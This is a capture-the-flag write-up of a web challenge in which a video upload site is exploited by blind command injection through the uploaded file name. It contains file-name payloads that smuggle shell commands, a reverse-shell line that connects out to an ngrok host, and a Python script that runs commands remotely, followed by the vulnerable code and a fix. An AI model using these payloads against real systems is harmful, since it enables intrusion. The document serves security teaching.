by piscio & simonedimaria | Category: web
Introduction
Every month, INTIGRITI
releases a new challenge, usually about XSS
(they love it).
The rules were pretty simple:
1. do NOT reveal the solution until the challenge is over! |
---|
2. this challenge runs from the 17th of July until the 25th of July, 11:59 PM CET. |
3. Out of all correct submissions, we will draw six winners on Tuesday, the 25th July: (3 randomly drawn, 3 best write-ups) |
4. Every winner gets a €50 swag voucher for our https://swag.intigriti.com/. |
Instead, as to the objective of the challenge we had these information:
Find the flag and win
[INTIGRITI](https://www.intigriti.com/)
swag.
Not much, but still… the swag $😀$
Me
TL;DR
The challenge consisted in a vulnerability of the file upload functionality. Specifically, a blind command injection via filename.
The challenge
0 - Recon
At first glance, the website looks very simple: we upload a video and we get back the extracted audio in .mp3
format.
Looking for the technologies using wappalyzer, we do not obtain useful information:
1 - Enumeration
1.1) Analyzing upload request
Let’s take a look at the upload functionality intercepting the request with BurpSuite.
Looking at the response we already see some interesting strings in the extracted_audio.wav
file, like Lavf58.20.100
which presumably is the version of the tool/library that’s being used.
1.2) Inspecting converted file metadata
To confirm that, I uploaded the video again without intercepting the request and look into the file metadata using exiftool
:
So it’s confirmed that it’s using Lavf
software, which stands for libavformat, and very likely it’s using it from ffmpeg
.
Source code isn’t provided, but as black-box approach we can assume it’s doing something like:
ffmpeg -i video.mp4 [OPTIONS] -vn extracted_audio.mp3
which gives us similar results:
1.3) Finding blind RCE in uploaded file name
Knowing that the .mp4
filename is user controllable, if it’s being manipulated unsafely, we could obtain OS command injection.
Let’s try something very simple, i.e ;id;video.mp4
, in order to verify the vulnerability. If we have injection, the resulting command that will be executed will be the following:
ffmpeg -i ;id;video.mp4 [OPTIONS] -vn extracted_audio.mp3
but we get error 500
:
We are, in fact, breaking the ffmpeg
command.
It’s possible that in the backend the command is raising an exception because of the broken ffmpeg
command and returning error 500
even if it’s executing the id
command successfully.
Let’s try to elaborate our payload a bit more.
2>/dev/null;id;#video.mp4
as filename should evaluate to:
ffmpeg -i 2>/dev/null;id;#video.mp4 [OPTIONS] -vn extracted_audio.mp3
but we still get error 500
and cannot see the output/errors.
At this stage we have to try it blindly.
Firstly, some basic payloads, like: sleep 5
. If the server hangs, it’s RCE.
Nevertheless, ;sleep 5;#video.mp4
as filename will trigger another error:
Invalid filename, please make sure it is an MP4 file and does not contain any white spaces in the filename
How can we inject useful commands without spaces?
Fortunately there is an easy way to circumvent this limitation using ${IFS}
.
IFS
stands for “internal field separator”. It is used by the shell to determine how to do word splitting, i. e. how to recognize word boundaries. The default value forIFS
consists of whitespace characters, therefore if we call${IFS}
in a bash shell it will act as a whitespace.
So the payload becomes:
;sleep${IFS}5;#video.mp4
Aand It works! Finally the feedback I was searching for, a delay in the response.
2 - Exploitation
2.1) Why this works?
As we supposed earlier, let’s assume that, the back-end, in response to our request, is executing the following command:
ffmpeg -i user-input.mp4 -vn extracted_audio.mp3
.
Where user-input
is the filename we sent in the request.
Thus, this is what the server will see after we inject the sleep payload:
ffmpeg -i ;sleep${IFS}5;#video.mp4 -vn extracted_audio.mp3
And it will execute all three commands, even if they return an error, because ;
command separator will execute commands regardless of the result of the previous, So:
ffmpeg -i
, leads to an error.sleep 5
, causes a 5 second delay..mp4 -vn extracted_audio.mp3
, leads to another error.Nice. We confirmed the command injection… and now what? We want a shell. So let’s go and refine our payload.
First things first, I wanted to have a solid and bullet-proof payload, so I could easily mess with different commands on the victim server without worrying about spaces.
This is what I came up with:
;echo${IFS}"base64_encoded_command"|base64${IFS}-d|bash;
with this i don’t have to worry about the command I decide to send, cause it is base64 encoded.
Now you can apply the same logic with any command you want. So, let’s spawn a shell. Firstly we’ll need a public IP. We can use ngrok for this task (take a look at how it works). For the payload itself, I used one from revshells.com:
sh -i >& /dev/tcp/2.tcp.eu.ngrok.io/18418/ 0>&1
3 - PoC
To exploit this vulnerability I created the following (really simple) script to help me testing different commands
import requests
import base64
url = "https://challenge-0723.intigriti.io:443/upload"
headers = {"User-Agent": "Samsung Fridge"}
while (True):
print("cmd> ", end="")
cmd = input()
cmd_enc = base64.b64encode(cmd.encode("utf-8")).decode("utf-8")
print(f"Executing '{cmd}' on the remote machine...")
filename = f";echo {cmd_enc} |base64 -d|bash;".replace(' ', '${IFS}')
files = {'video': (f"{filename}", open("/path/to/video.mp4","rb"), "video/mp4")}
r = requests.post(url, headers=headers, files=files)
Start nc
listener (nc -lnvp 1337
), start ngrok
in tcp mode (ngrok tcp 1337
) and send the payload.
INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}
4 - Mitigation
4.1) Identifying the threat
Let’s see how this vulnerability could be avoided. We took the challenge files thanks to our previous rev-shell. This is the app.py
:
from flask import Flask, request, render_template, send_file, jsonify, make_response
from werkzeug.exceptions import InternalServerError
from helpers import *
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/challenge')
def challenge():
return render_template('challenge.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
file = request.files['video']
filename = file.filename
if file:
if validate_filename(filename):
valid_filename = filename
else:
return render_template('error.html', error='Invalid filename, please make sure it is an MP4 file and does not contain any white spaces in the filename')
video_path = f'misc/{valid_filename}'
file.save(video_path)
audio_path = 'misc/extracted_audio.wav'
success, error = extract_audio(video_path, audio_path)
if success:
return send_file(audio_path, as_attachment=True)
else:
# Raise InternalServerError to trigger the error handler
raise InternalServerError(error)
return render_template('upload.html')
# Custom error handler for InternalServerError (500 error)
@app.errorhandler(InternalServerError)
def handle_internal_server_error(e):
response = {
'error': 'That wasn\'t supposed to happen',
'message': 'Hey, stop trying to break things!!'
}
return make_response(jsonify(response), 500)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=False)
extract_audio()
function is the one we’re interested in. However, it isn’t declared.
Note how it’s importing all methods of helpers.py
:
from helpers import *
So, let’s look into that.
import subprocess, re
def validate_filename(filename):
try:
pattern = r"^[^\s]+\.(mp4)$"
if re.match(pattern, filename):
return True
else:
return False
except Exception as e:
return False
def extract_audio(video_path, audio_path):
try:
command = f"""ffmpeg -i {video_path} -vn -acodec libmp3lame -ab 192k -ar 44100 -y -ac 2 {audio_path}"""
r = subprocess.run(command, shell=['/bin/bash'], capture_output=True)
if r.returncode != 0:
return False, r.stderr
else:
return True, ''
except Exception as e:
return False, e
Ok, that’s a VERY insecure pattern. Here we have 2 main issues:
subprocess.run
. Instead, on how it’s being used.According to Subprocess Documentation:
Unlike some other popen functions, the default implementation will never implicitly call a system shell. This means that all characters, including shell metacharacters, can safely be passed to child processes. If the shell is invoked explicitly, via
shell=True
, it is the application’s responsibility to ensure that all whitespace and metacharacters are quoted appropriately to avoid shell injection vulnerabilities. On some platforms, it is possible to use[shlex.quote()](https://docs.python.org/3/library/shlex.html#shlex.quote)
for this escaping.
In this case, it’s set as shell=['/bin/bash']
which is almost the same as shell=True
(the only difference is that on Unix with shell=True
, the shell defaults to /bin/sh
).
4.2) A better approach
As the Subprocess Documentation suggests, when using subprocess.run
, you need to pass the command and its arguments as a list of strings. The first element of the list should be the command you want to execute, and any additional elements represent the arguments for that command.
This way, the command and its arguments are provided separately, and we cannot call any other commands, or escape the specified one.
Here’s an example of how the app would have been more secure:
import subprocess, re
def validate_filename(filename):
try:
pattern = r"^[^\s]+\.(mp4)$"
if re.match(pattern, filename):
return True
else:
return False
except Exception as e:
return False
def extract_audio(video_path, audio_path):
try:
command = [
"ffmpeg",
"-i", video_path,
"-vn",
"-acodec", "libmp3lame",
"-ab", "192k",
"-ar", "44100",
"-y",
"-ac", "2",
audio_path
]
r = subprocess.run(command, shell=False, capture_output=True)
if r.returncode != 0:
return False, r.stderr.decode()
else:
return True, ''
except Exception as e:
return False, str(e)
And now our exploit is neutralized 🙂.
tags: web - rce - intigriti